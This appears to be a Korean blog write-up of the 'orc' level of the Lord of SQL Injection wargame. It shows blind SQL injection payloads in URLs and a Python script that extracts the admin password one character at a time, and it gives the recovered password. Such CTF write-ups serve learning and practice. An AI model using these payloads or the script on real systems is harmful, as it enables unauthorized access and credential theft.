cgy12306
[LOS] orc 본문
입력받은 pw로 prob_orc 테이블에 저장된 pw와 비교를 해서 맞으면 풀리는 문제이다. Blind sql injection기법을 활용하면 된다.
https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=' or id='admin' and length(pw)='8
length(컬럼명)은 해당 컬럼에 있는 데이터의 길이를 알아내는 명령어이다. length에 1부터 계속 하나씩 늘려가며 대입해보자.
pw의 길이는 8글자라는 것을 알아냈다. 파이썬으로 코드를 짜보자.
- 쿠키값은 F12번을 눌러서 확인 할 수 있다.
import requests
arry=[]
url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?"
cookies = {'__cfduid': '???????????????', 'PHPSESSID' : '???????????'}
for k in range(1,9):
for j in range(32,127):
params = {'pw':"' or id='admin' and ASCII(substr(pw,"+ str(k) + ",1))="+str(j)+"--'"}
response = requests.get(url,params=params,cookies=cookies)
if 'Hello admin' in response.text:
print(k,' : ', j, "O")
arry.append(chr(j))
break
else:
print(k,' : ' , j, "X")
print(arry)
pw를 한글자씩 잘라서 ASCII 코드로 변환해준뒤 그 값이 참이면 'Hello admin'을 출력하게 될 것이고, 그 값을 파싱해서 'Hello admin'이라는 글자가 포함되면 배열에 넣고 아니면 계속 반복하는 코드이다.
pw는 295d5844이다.
https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=295d5844
'Wargame > LOS' 카테고리의 다른 글
[LOS] darkelf (0) | 2019.08.13 |
---|---|
[LOS] wolfman (0) | 2019.08.13 |
[LOS] goblin (0) | 2019.08.13 |
[LOS] cobolt (0) | 2019.08.13 |
[LOS] gremlin (0) | 2019.08.13 |
Comments